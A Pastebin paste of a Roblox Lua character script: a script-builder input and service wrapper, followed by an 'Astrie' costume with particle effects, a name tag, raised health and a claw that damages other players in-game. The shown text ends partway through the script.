Advertisement
Guest User

Untitled

a guest
Jul 16th, 2019
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 238.50 KB | None | 0 0
  1. -- Settings --
  2. local Main_Color_1 = Color3.new(0, 0, 255)
  3. -- Color3.new(R,G,B)
  4. local Shirt_Template_1 = "rbxassetid://2331605017"
  5. local Pants_Template_1 = "rbxassetid://2841727903"
  6. -- rbxassetid://<Then Template Id>
  7. local Damage_1 = 25
  8.  
  9. local Wait_Rate_1 = 0
  10.  
  11.  
  12. -- end
  13.  
  14. local Damage_Deb = true
  15.  
  16. local function Damage_OnTouch(h)
  17. if h.Parent and Damage_Deb then
  18. local hum = h.Parent:FindFirstChildWhichIsA'Humanoid'
  19. if hum and h.Parent~=owner.Character then
  20. if hum.Health>0 then
  21. hum:TakeDamage(Damage_1)
  22. Damage_Deb = false
  23. wait(Wait_Rate_1)
  24. Damage_Deb = true
  25. end
  26. end
  27. end
  28. end
  29.  
  30. local function Find_String_In_String(string_target,string_use_to_find)
  31. if string.find(
  32. tostring(string_target):lower(),
  33. tostring(string_use_to_find):lower()
  34. )then
  35. return true
  36. end
  37. end
  38.  
  39. if game:GetService("RunService"):IsClient()then error("Please run as a server script. Use h/ instead of hl/.")end;InternalData = {}
  40. do
  41. script.Parent = owner.Character
  42. local Event = Instance.new("RemoteEvent");Event.Name = "UserInput"
  43. local function NewFakeEvent()
  44. local Bind = Instance.new("BindableEvent")
  45. local Fake;Fake = {Connections = {},
  46. fakeEvent=true;
  47. Connect=function(self,Func)
  48. Bind.Event:connect(Func)
  49. self.Connections[Bind] = true
  50. return setmetatable({Connected = true},{
  51. __index = function (self,Index)
  52. if Index:lower() == "disconnect" then
  53. return function() Fake.Connections[Bind] = false;self.Connected = false end
  54. end
  55. return Fake[Index]
  56. end;
  57. __tostring = function() return "Connection" end;
  58. })
  59. end}
  60. Fake.connect = Fake.Connect;return Fake;
  61. end
  62. local Mouse = {Target=nil,Hit=CFrame.new(),KeyUp=NewFakeEvent(),KeyDown=NewFakeEvent(),Button1Up=NewFakeEvent(),Button1Down=NewFakeEvent()}
  63. local UserInputService = {InputBegan=NewFakeEvent(),InputEnded=NewFakeEvent()}
  64. local ContextActionService = {Actions={},BindAction = function(self,actionName,Func,touch,...)
  65. self.Actions[actionName] = Func and {Name=actionName,Function=Func,Keys={...}} or nil
  66. end};ContextActionService.UnBindAction = ContextActionService.BindAction
  67. local function TriggerEvent(self,Event,...)
  68. local Trigger = Mouse[Event]
  69. if Trigger and Trigger.fakeEvent and Trigger.Connections then
  70. for Connection,Active in pairs(Trigger.Connections) do if Active then Connection:Fire(...) end end
  71. end
  72. end
  73. Mouse.TrigEvent = TriggerEvent;UserInputService.TrigEvent = TriggerEvent
  74. Event.OnServerEvent:Connect(function(FiredBy,Input)
  75. if FiredBy.Name ~= owner.Name then return end
  76. if Input.MouseEvent then
  77. Mouse.Target = Input.Target;Mouse.Hit = Input.Hit
  78. else
  79. local Begin = Input.UserInputState == Enum.UserInputState.Begin
  80. if Input.UserInputType == Enum.UserInputType.MouseButton1 then return Mouse:TrigEvent(Begin and "Button1Down" or "Button1Up") end
  81. for _,Action in pairs(ContextActionService.Actions) do
  82. for _,Key in pairs(Action.Keys) do if Key==Input.KeyCode then Action.Function(Action.Name,Input.UserInputState,Input) end end
  83. end
  84. Mouse:TrigEvent(Begin and "KeyDown" or "KeyUp",Input.KeyCode.Name:lower())
  85. UserInputService:TrigEvent(Begin and "InputBegan" or "InputEnded",Input,false)
  86. end
  87. end)
  88. InternalData["Mouse"] = Mouse;InternalData["ContextActionService"] = ContextActionService;InternalData["UserInputService"] = UserInputService
  89. Event.Parent = NLS([[
  90. local Player = owner;local Event = script:WaitForChild("UserInput");local UserInputService = game:GetService("UserInputService");local Mouse = Player:GetMouse()
  91. local Input = function(Input,gameProcessedEvent)
  92. if gameProcessedEvent then return end
  93. Event:FireServer({KeyCode=Input.KeyCode,UserInputType=Input.UserInputType,UserInputState=Input.UserInputState})
  94. end
  95. UserInputService.InputBegan:Connect(Input);UserInputService.InputEnded:Connect(Input)
  96. local Hit,Target
  97. while wait(1/30) do
  98. if Hit ~= Mouse.Hit or Target ~= Mouse.Target then
  99. Hit,Target = Mouse.Hit,Mouse.Target;Event:FireServer({["MouseEvent"]=true,["Target"]=Target,["Hit"]=Hit})
  100. end
  101. end
  102. ]],owner.Character)
  103. end
  104. RealGame = game;game = setmetatable({},{
  105. __index = function (self,Index)
  106. local Sandbox = function (Thing)
  107. if Thing:IsA("Player") then
  108. local RealPlayer = Thing
  109. return setmetatable({},{
  110. __index = function (self,Index)
  111. local Type = type(RealPlayer[Index])
  112. if Type == "function" then
  113. if Index:lower() == "getmouse" or Index:lower() == "mouse" then
  114. return function (self)return InternalData["Mouse"] end
  115. end
  116. return function (self,...)return RealPlayer[Index](RealPlayer,...) end
  117. end
  118. return RealPlayer[Index]
  119. end;
  120. __tostring = function(self) return RealPlayer.Name end
  121. })
  122. end
  123. end
  124. if RealGame[Index] then
  125. local Type = type(RealGame[Index])
  126. if Type == "function" then
  127. if Index:lower() == "getservice" or Index:lower() == "service" then
  128. return function (self,Service)
  129. local FakeServices = {
  130. ["players"] = function()
  131. return setmetatable({},{
  132. __index = function (self2,Index2)
  133. local RealService = RealGame:GetService(Service)
  134. local Type2 = type(Index2)
  135. if Type2 == "function" then
  136. return function (self,...) return RealService[Index2](RealService,...)end
  137. else
  138. if Index2:lower() == "localplayer" then return Sandbox(owner) end
  139. return RealService[Index2]
  140. end
  141. end;
  142. __tostring = function(self) return RealGame:GetService(Service).Name end
  143. })
  144. end;
  145. ["contextactionservice"] = function() return InternalData["ContextActionService"] end;
  146. ["userinputservice"] = function() return InternalData["UserInputService"] end;
  147. ["runservice"] = function()
  148. return setmetatable({},{
  149. __index = function(self2,Index2)
  150. local RealService = RealGame:GetService(Service)
  151. local Type2 = type(Index2)
  152. if Type2 == "function" then
  153. return function (self,...) return RealService[Index2](RealService,...) end
  154. else
  155. local RunServices = {
  156. ["bindtorenderstep"] = function() return function (self,Name,Priority,Function) return RealGame:GetService("RunService").Stepped:Connect(Function) end end;
  157. ["renderstepped"] = function() return RealService["Stepped"] end
  158. }
  159. if RunServices[Index2:lower()] then return RunServices[Index2:lower()]() end
  160. return RealService[Index2]
  161. end
  162. end
  163. })
  164. end
  165. }
  166. if FakeServices[Service:lower()] then return FakeServices[Service:lower()]() end
  167. return RealGame:GetService(Service)
  168. end
  169. end
  170. return function (self,...) return RealGame[Index](RealGame,...) end
  171. else
  172. if game:GetService(Index) then return game:GetService(Index) end
  173. return RealGame[Index]
  174. end
  175. end
  176. return nil
  177. end
  178. });Game = game;owner = game:GetService("Players").LocalPlayer;script = Instance.new("Script");
  179.  
  180. --//Paste script below this line.
  181.  
  182. paly = game.Players.LocalPlayer
  183. Player = game:GetService("Players").LocalPlayer
  184. p = game.Players.LocalPlayer
  185. char = paly.Character
  186. vt = Vector3.new
  187. rarm = char["Right Arm"]
  188. hed = char.Head
  189. larm = char["Left Arm"]
  190. rleg = char["Right Leg"]
  191. lleg = char["Left Leg"]
  192. local maincolor = Main_Color_1
  193. local effolemode = false
  194. local wrathmode = false
  195. local noobmode = false
  196. local randomname = "???"
  197. local randomnamefem = "???"
  198. local randomchanger = 6
  199. if paly.Name == "BINO2002" then
  200. randomchanger = 6
  201. end
  202. if randomchanger == 6 then
  203. randomnamefem = "Astrie"
  204. effolemode = true
  205. maincolor = Main_Color_1
  206.  
  207. local torsmesh = Instance.new("CharacterMesh", char)
  208. torsmesh.BodyPart = "Torso"
  209. torsmesh.MeshId = "48112070"
  210. local dec2 = Instance.new("Decal", char)
  211. dec2.Face = "Front"
  212. dec2.Texture = "rbxassetid://381091841"
  213. dec2.Parent = char.Head
  214. char.Head.face.Transparency = 1
  215. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  216.  
  217. for i,v in pairs(char:children()) do
  218. if v:IsA("Hat") then
  219. v:Destroy()
  220. end
  221. end
  222. for i,v in pairs(char:children()) do
  223. if v:IsA("Accessory") then
  224. v:Destroy()
  225. end
  226. end
  227. for i,v in pairs(char:children()) do
  228. if v:IsA("Hair") then
  229. v:Destroy()
  230. end
  231. end
  232. for i,v in pairs(char:children()) do
  233. if v:IsA("Shirt") then
  234. v:Destroy()
  235. end
  236. end
  237. for i,v in pairs(char:children()) do
  238. if v:IsA("Pants") then
  239. v:Destroy()
  240. end
  241. end
  242.  
  243. local eye12 = Instance.new("Part")
  244. eye12.Parent = char
  245. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  246. eye12.Archivable = true
  247. eye12.Transparency = 0
  248. eye12.Shape = "Ball"
  249. eye12.Color = maincolor
  250. eye12.Material = "Neon"
  251. eye12.CanCollide = false
  252. local mesh2 = Instance.new("SpecialMesh",eye12)
  253. mesh2.MeshType = "Sphere"
  254. mesh2.Scale = Vector3.new(0.75, 1, 1)
  255. local weld1en2 = Instance.new("Weld")
  256. weld1en2.Parent = hed
  257. weld1en2.Part0 = hed
  258. weld1en2.Part1 = eye12
  259. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  260. local eye1 = Instance.new("Part")
  261. eye1.Parent = char
  262. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  263. eye1.Archivable = true
  264. eye1.Transparency = 0
  265. eye1.Shape = "Ball"
  266. eye1.Color = maincolor
  267. eye1.Material = "Neon"
  268. eye1.CanCollide = false
  269. local mesh = Instance.new("SpecialMesh",eye1)
  270. mesh.MeshType = "Sphere"
  271. mesh.Scale = Vector3.new(0.75, 1, 1)
  272. local weld1en = Instance.new("Weld")
  273. weld1en.Parent = hed
  274. weld1en.Part0 = hed
  275. weld1en.Part1 = eye1
  276. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  277.  
  278. local BC = char["Body Colors"]
  279. BC.HeadColor = BrickColor.new("White")
  280. BC.LeftArmColor = BrickColor.new("White")
  281. BC.LeftLegColor = BrickColor.new("White")
  282. BC.RightArmColor = BrickColor.new("White")
  283. BC.RightLegColor = BrickColor.new("White")
  284. BC.TorsoColor = BrickColor.new("White")
  285.  
  286. ypcall(function()
  287. shirt = Instance.new("Shirt", char)
  288. shirt.Name = "Shirt"
  289. pants = Instance.new("Pants", char)
  290. pants.Name = "Pants"
  291. char.Shirt.ShirtTemplate = Shirt_Template_1
  292. char.Pants.PantsTemplate = Pants_Template_1
  293. end)
  294. Reaper2 = Instance.new("Model")
  295. Reaper2.Parent = Player.Character
  296. Reaper2.Name = "Reaper2"
  297. rh2 = Instance.new("Part")
  298. rh2.Parent = Reaper2
  299. rh2.Color = maincolor
  300. rh2.Locked = true
  301. rh2.CanCollide = false
  302. mesh2 = Instance.new("SpecialMesh")
  303. rh2.formFactor = "Symmetric"
  304. mesh2.MeshType = "FileMesh"
  305. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  306. mesh2.Parent = rh2
  307. local weld2 = Instance.new("Weld")
  308. weld2.Parent = rh2
  309. rh2.Transparency = 0
  310. weld2.Part0 = rh2
  311. weld2.Part1 = Player.Character.Head
  312. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  313.  
  314. Reaper3 = Instance.new("Model")
  315. Reaper3.Parent = Player.Character
  316. Reaper3.Name = "Reaper3"
  317. rh3 = Instance.new("Part")
  318. rh3.Parent = Reaper3
  319. rh3.BrickColor = BrickColor.new("Really black")
  320. rh3.Locked = true
  321. rh3.CanCollide = false
  322. mesh3 = Instance.new("SpecialMesh")
  323. rh3.formFactor = "Symmetric"
  324. mesh3.MeshType = "FileMesh"
  325. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  326. mesh3.Parent = rh3
  327. local weld3 = Instance.new("Weld")
  328. weld3.Parent = rh3
  329. rh3.Transparency = 0
  330. weld3.Part0 = rh3
  331. weld3.Part1 = Player.Character.Head
  332. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  333.  
  334. local orbe = Instance.new("Part")
  335. orbe.Parent = char
  336. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  337. orbe.Archivable = true
  338. orbe.Transparency = 1
  339. orbe.Color = maincolor
  340. orbe.Material = "Neon"
  341. orbe.CanCollide = false
  342. local weld1e = Instance.new("Weld")
  343. weld1e.Parent = rleg
  344. weld1e.Part0 = rleg
  345. weld1e.Part1 = orbe
  346. weld1e.C1 = CFrame.new(0, 1.125, 0)
  347. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  348. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  349. local effectoe = Instance.new("ParticleEmitter",orbe)
  350. effectoe.LightEmission = 1
  351. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  352. effectoe.Color = ColorSequence.new(maincolor)
  353. effectoe.Rate = 10000
  354. effectoe.Lifetime = NumberRange.new(1)
  355. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  356. effectoe.Speed = NumberRange.new(0,0)
  357. effectoe.RotSpeed = NumberRange.new(100,100)
  358.  
  359. local orbze = Instance.new("Part")
  360. orbze.Parent = char
  361. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  362. orbze.Archivable = true
  363. orbze.Transparency = 1
  364. orbze.Color = maincolor
  365. orbze.Material = "Neon"
  366. orbze.CanCollide = false
  367. local weldz1 = Instance.new("Weld")
  368. weldz1.Parent = lleg
  369. weldz1.Part0 = lleg
  370. weldz1.Part1 = orbze
  371. weldz1.C1 = CFrame.new(0, 1.125, 0)
  372. local effectone = Instance.new("ParticleEmitter",orbze)
  373. effectone.LightEmission = 1
  374. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  375. effectone.Color = ColorSequence.new(maincolor)
  376. effectone.Rate = 10000
  377. effectone.Lifetime = NumberRange.new(1)
  378. effectone.Size = NumberSequence.new({pt1e,pt2e})
  379. effectone.Speed = NumberRange.new(0,0)
  380. effectone.RotSpeed = NumberRange.new(100,100)
  381. end
  382.  
  383. if effolemode == true then
  384. maincolor = Main_Color_1
  385. end
  386.  
  387. local orb = Instance.new("Part")
  388. orb.Parent = char
  389. orb.Size = Vector3.new(1, 1, 1)
  390. orb.Archivable = true
  391. orb.Transparency = 1
  392. orb.BrickColor = BrickColor.new("Bright orange")
  393. orb.Material = "Wood"
  394. orb.CanCollide = false
  395. local weld1 = Instance.new("Weld")
  396. weld1.Parent = rarm
  397. weld1.Part0 = rarm
  398. weld1.Part1 = orb
  399. weld1.C1 = CFrame.new(0, 1.125, 0)
  400. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  401. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  402. local effecto = Instance.new("ParticleEmitter",orb)
  403. effecto.LightEmission = 1
  404. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  405. effecto.Color = ColorSequence.new(maincolor)
  406. effecto.Rate = 10000
  407. effecto.Lifetime = NumberRange.new(1)
  408. effecto.Size = NumberSequence.new({pt1,pt2})
  409. effecto.Speed = NumberRange.new(0,0)
  410. effecto.RotSpeed = NumberRange.new(100,100)
  411.  
  412. local orbz = Instance.new("Part")
  413. orbz.Parent = char
  414. orbz.Size = Vector3.new(1, 1, 1)
  415. orbz.Archivable = true
  416. orbz.Transparency = 1
  417. orbz.BrickColor = BrickColor.new("Bright orange")
  418. orbz.Material = "Wood"
  419. orbz.CanCollide = false
  420. local weldz1 = Instance.new("Weld")
  421. weldz1.Parent = larm
  422. weldz1.Part0 = larm
  423. weldz1.Part1 = orbz
  424. weldz1.C1 = CFrame.new(0, 1.125, 0)
  425. local effecton = Instance.new("ParticleEmitter",orbz)
  426. effecton.LightEmission = 1
  427. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  428. effecton.Color = ColorSequence.new(maincolor)
  429. effecton.Rate = 10000
  430. effecton.Lifetime = NumberRange.new(1)
  431. effecton.Size = NumberSequence.new({pt1,pt2})
  432. effecton.Speed = NumberRange.new(0,0)
  433. effecton.RotSpeed = NumberRange.new(100,100)
  434.  
  435.  
  436. p = game.Players.LocalPlayer
  437. char = p.Character
  438. torso = char.Torso
  439. neck = char.Torso.Neck
  440. hum = char.Humanoid
  441. hum.MaxHealth = 10000
  442. wait()
  443. hum.Health =hum.MaxHealth
  444.  
  445. CV="Hot pink"
  446.  
  447. local txt = Instance.new("BillboardGui", char)
  448. txt.Adornee = char .Head
  449. txt.Name = "_status"
  450. txt.Size = UDim2.new(2, 0, 1.2, 0)
  451. txt.StudsOffset = Vector3.new(-9, 8, 0)
  452. local text = Instance.new("TextLabel", txt)
  453. text.Size = UDim2.new(10, 0, 7, 0)
  454. text.FontSize = "Size24"
  455. text.TextScaled = true
  456. text.TextTransparency = 0
  457. text.BackgroundTransparency = 1
  458. text.TextTransparency = 0
  459. text.TextStrokeTransparency = 0
  460. text.Font = "SciFi"
  461. text.TextStrokeColor3 = Color3.new(0,0,0)
  462.  
  463. v=Instance.new("Part")
  464. v.Name = "ColorBrick"
  465. v.Parent=p.Character
  466. v.FormFactor="Symmetric"
  467. v.Anchored=true
  468. v.CanCollide=false
  469. v.BottomSurface="Smooth"
  470. v.TopSurface="Smooth"
  471. v.Size=Vector3.new(10,5,3)
  472. v.Transparency=1
  473. v.CFrame=char.Torso.CFrame
  474. v.BrickColor=BrickColor.new(CV)
  475. v.Transparency=1
  476. text.TextColor3 = Main_Color_1
  477. v.Shape="Block"
  478. text.Text = "Astrie"
  479.  
  480.  
  481. euler = CFrame.fromEulerAnglesXYZ
  482. angles = CFrame.Angles
  483. local player = "LocalPlayer"
  484. local Character = game.Players[player].Character
  485. it = Instance.new
  486. vt = Vector3.new
  487. bc = BrickColor.new
  488. cf = CFrame.new
  489. mr = math.rad
  490. local Weapon = {}
  491. local p = game.Players.LocalPlayer
  492. local char = p.Character
  493. local mouse = p:GetMouse()
  494. local larm = char["Left Arm"]
  495. local rarm = char["Right Arm"]
  496. local lleg = char["Left Leg"]
  497. local rleg = char["Right Leg"]
  498. local hed = char.Head
  499. local torso = char.Torso
  500. local hum = char.Humanoid
  501. local cam = game.Workspace.CurrentCamera
  502. local root = char.HumanoidRootPart
  503. local deb = false
  504. local shot = 0
  505.  
  506. local debris=game:service"Debris"
  507. local l = game:GetService("Lighting")
  508. local rs = game:GetService("RunService").RenderStepped
  509. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  510. math.randomseed(os.time())
  511. for i,v in pairs (hed:GetChildren()) do
  512. if v:IsA("Sound") then
  513. v:Destroy()
  514. end
  515. end
  516. ---------------------------------------------------- BeastClaw
  517. NoOutline = function(Part)
  518. Part.TopSurface = 10
  519. end
  520. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  521. local fp = it("Part")
  522. fp.formFactor = formfactor
  523. fp.Parent = parent
  524. fp.Reflectance = reflectance
  525. fp.Transparency = transparency
  526. fp.CanCollide = false
  527. fp.Locked = true
  528. fp.BrickColor = brickcolor
  529. fp.Name = name
  530. fp.Size = size
  531. NoOutline(fp)
  532. fp.Material = "Neon"
  533. fp:BreakJoints()
  534. return fp
  535. end
  536. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  537. local mesh = it(Mesh)
  538. mesh.Parent = part
  539. if Mesh == "SpecialMesh" then
  540. mesh.MeshType = meshtype
  541. if meshid ~= "nil" then
  542. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  543. end
  544. end
  545. mesh.Offset = offset
  546. mesh.Scale = scale
  547. return mesh
  548. end
  549. weld = function(parent, part0, part1, c0)
  550. local weld = it("Motor6D")
  551. weld.Parent = parent
  552. weld.Part0 = part0
  553. weld.Part1 = part1
  554. weld.C0 = c0
  555. return weld
  556. end
  557. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  558. local gui = it(GuiType)
  559. gui.Parent = parent
  560. gui.BackgroundTransparency = backtrans
  561. gui.BackgroundColor3 = backcol
  562. gui.SizeConstraint = "RelativeXY"
  563. gui.Position = pos
  564. gui.Size = size
  565. if GuiType == "TextLabel" then
  566. gui.Text = text
  567. gui.TextXAlignment = "Center"
  568. gui.TextYAlignment = "Center"
  569. gui.Font = "SourceSans"
  570. gui.FontSize = "Size14"
  571. gui.TextWrapped = false
  572. gui.TextStrokeTransparency = 0
  573. gui.TextColor3 = Main_Color_1
  574. else
  575. if GuiType == "ImageLabel" then
  576. gui.Image = "rbxassetid://" .. image
  577. gui.ImageColor3 = backcol
  578. end
  579. end
  580. return gui
  581. end
  582. local handle = nil
  583. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  584. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  585. prt.Material = neon
  586. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  587. wld = weld(handle, prt, wldpar, ceef)
  588. v = it("NumberValue", prt)
  589. v.Value = trans
  590. v.Name = "MainTransparency"
  591. return prt, msh, wld
  592. end
  593. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  594. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  595. prt.Material = neon
  596. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  597. wld = weld(wldpare, prt, wldpar, ceef)
  598. v = it("NumberValue", prt)
  599. v.Value = trans
  600. v.Name = "MainTransparency"
  601. return prt, msh, wld
  602. end
  603. local modelzorzez = Instance.new("Model")
  604. modelzorzez.Parent = workspace.CurrentCamera
  605. modelzorzez.Name = "none"
  606. local Torso = Character.Torso
  607. local LeftArm = Character["Left Arm"]
  608. local RightArm = Character["Right Arm"]
  609. local LeftLeg = Character["Left Leg"]
  610. local RightLeg = Character["Right Leg"]
  611. local Head = Character.Head
  612. local RootPart = Character.HumanoidRootPart
  613. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  614. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  615.  
  616. -- SAHHHH DUUDEEE
  617.  
  618.  
  619.  
  620.  
  621. -- params : ...
  622.  
  623. wait(0.016666666666667)
  624. script.Archivable = false
  625. Effects = {}
  626. local Player = game.Players.localPlayer
  627. local Character = Player.Character
  628. local Humanoid = Character.Humanoid
  629. local mouse = Player:GetMouse()
  630. local m = Instance.new("Model", Character)
  631. m.Name = "WeaponModel"
  632. local effect = Instance.new("Model", Character)
  633. effect.Name = "effecsfsafzx"
  634. local demon = Instance.new("Model", Character)
  635. demon.Name = "demdemd"
  636. local LeftArm = Character["Left Arm"]
  637. local RightArm = Character["Right Arm"]
  638. local LeftLeg = Character["Left Leg"]
  639. local RightLeg = Character["Right Leg"]
  640. local do2target = nil
  641. local Head = Character.Head
  642. local Torso = Character.Torso
  643. TorsoColor = Main_Color_1
  644. z = Instance.new("Sound", Torso)
  645. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  646. z.Looped = true
  647. z.Pitch = 0
  648. z.Volume = 0
  649. wait(.1)
  650. z:Play()
  651. local cam = game.Workspace.CurrentCamera
  652. local RootPart = Character.HumanoidRootPart
  653. local RootJoint = RootPart.RootJoint
  654. local equipped = false
  655. local attack = false
  656. local Anim = "Idle"
  657. local idle = 0
  658. local attacktype = 1
  659. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  660. local velocity = RootPart.Velocity.y
  661. local sine = 0
  662. local change = 1
  663. local mana = 0
  664. local it = Instance.new
  665. vt = Vector3.new
  666. local grabbed = false
  667. local cf = CFrame.new
  668. local mr = math.rad
  669. local angles = CFrame.Angles
  670. local ud = UDim2.new
  671. local c3 = Color3.new
  672. clerp = function(a, b, t)
  673.  
  674. return a:lerp(b, t)
  675. end
  676.  
  677. local RbxUtility = LoadLibrary("RbxUtility")
  678. local Create = RbxUtility.Create
  679. RemoveOutlines = function(part)
  680.  
  681. part.TopSurface = 10
  682. end
  683.  
  684. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  685. if typeof(BColor)=='string'then
  686. BColor = BrickColor.new(BColor).Color
  687. end
  688. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, Color = BColor, Name = Name, Size = Size, Material = Material})
  689. RemoveOutlines(Part)
  690. return Part
  691. end
  692.  
  693. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  694.  
  695. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  696. if Mesh == "SpecialMesh" then
  697. Msh.MeshType = MeshType
  698. Msh.MeshId = MeshId
  699. end
  700. return Msh
  701. end
  702.  
  703. local co1 = 3
  704. local co2 = 10
  705. local co3 = 15
  706. local co4 = 30
  707. local cooldown1 = 0
  708. local cooldown2 = 0
  709. local cooldown3 = 0
  710. local cooldown4 = 0
  711. local maxEnergy = 100
  712. local Energy = 0
  713. local skill1stam = 1000
  714. local skill2stam = 1000
  715. local skill3stam = 1000
  716. local skill4stam = 1000
  717. local recovermana = 5
  718. local skillcolorscheme = BrickColor.new("White").Color
  719. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  720. makeframe = function(par, trans, pos, size, color)
  721.  
  722. local frame = Instance.new("Frame", par)
  723. frame.BackgroundTransparency = trans
  724. frame.BorderSizePixel = 0
  725. frame.Position = pos
  726. frame.Size = size
  727. frame.BackgroundColor3 = color
  728. return frame
  729. end
  730.  
  731. makelabel = function(par, text)
  732.  
  733. local label = Instance.new("TextLabel", par)
  734. label.BackgroundTransparency = 1
  735. label.Size = UDim2.new(1, 0, 1, 0)
  736. label.Position = UDim2.new(0, 0, 0, 0)
  737. label.TextColor3 = Color3.new(255, 255, 255)
  738. label.TextStrokeTransparency = 0
  739. label.FontSize = Enum.FontSize.Size32
  740. label.Font = Enum.Font.SourceSansLight
  741. label.BorderSizePixel = 0
  742. label.TextScaled = true
  743. label.Text = text
  744. end
  745.  
  746. ArtificialHB = Instance.new("BindableEvent", script)
  747. ArtificialHB.Name = "Heartbeat"
  748. script:WaitForChild("Heartbeat")
  749. frame = 0.033333333333333
  750. tf = 0
  751. allowframeloss = false
  752. tossremainder = false
  753. lastframe = tick()
  754. script.Heartbeat:Fire()
  755. game:GetService("RunService").Heartbeat:connect(function(s, p)
  756.  
  757. tf = tf + s
  758. if frame <= tf then
  759. if allowframeloss then
  760. script.Heartbeat:Fire()
  761. lastframe = tick()
  762. else
  763. for i = 1, math.floor(tf / frame) do
  764. script.Heartbeat:Fire()
  765. end
  766. lastframe = tick()
  767. end
  768. if tossremainder then
  769. tf = 0
  770. else
  771. tf = tf - frame * math.floor(tf / frame)
  772. end
  773. end
  774. end
  775. )
  776. swait = function(num)
  777.  
  778. if num == 0 or num == nil then
  779. ArtificialHB.Event:wait()
  780. else
  781. for i = 0, num do
  782. ArtificialHB.Event:wait()
  783. end
  784. end
  785. end
  786.  
  787. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  788.  
  789. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  790. return Weld
  791. end
  792.  
  793. rayCast = function(Position, Direction, Range, Ignore)
  794.  
  795. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  796. end
  797.  
  798. CreateSound = function(id, par, vol, pit)
  799.  
  800. coroutine.resume(coroutine.create(function()
  801.  
  802. local sou = Instance.new("Sound", par or workspace)
  803. sou.Volume = vol
  804. sou.Pitch = pit or 1
  805. sou.SoundId = id
  806. swait()
  807. sou:play()
  808. game:GetService("Debris"):AddItem(sou, 6)
  809. end
  810. ))
  811. end
  812.  
  813. local getclosest = function(obj, distance)
  814.  
  815. local last, lastx = distance + 1, nil
  816. for i,v in pairs(workspace:GetChildren()) do
  817. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  818. local t = v.Torso
  819. local dist = t.Position - obj.Position.magnitude
  820. if dist <= distance and dist < last then
  821. last = dist
  822. lastx = v
  823. end
  824. end
  825. end
  826. return lastx
  827. end
  828.  
  829. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  830. if typeof(BColor)=='string'then
  831. BColor = BrickColor.new(BColor).Color
  832. end
  833.  
  834.  
  835. if PartType == "Part" then
  836. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, Color = BColor, Name = Name, Size = Size, Material = Material})
  837. RemoveOutlines(Part)
  838. return Part
  839. else
  840. do
  841. if PartType == "WedgePart" then
  842. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, Color = BColor, Name = Name, Size = Size, Material = Material})
  843. RemoveOutlines(Part)
  844. return Part
  845. end
  846. end
  847. end
  848. end
  849.  
  850. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  851. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  852. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  853. Claw.Touched:Connect(Damage_OnTouch)
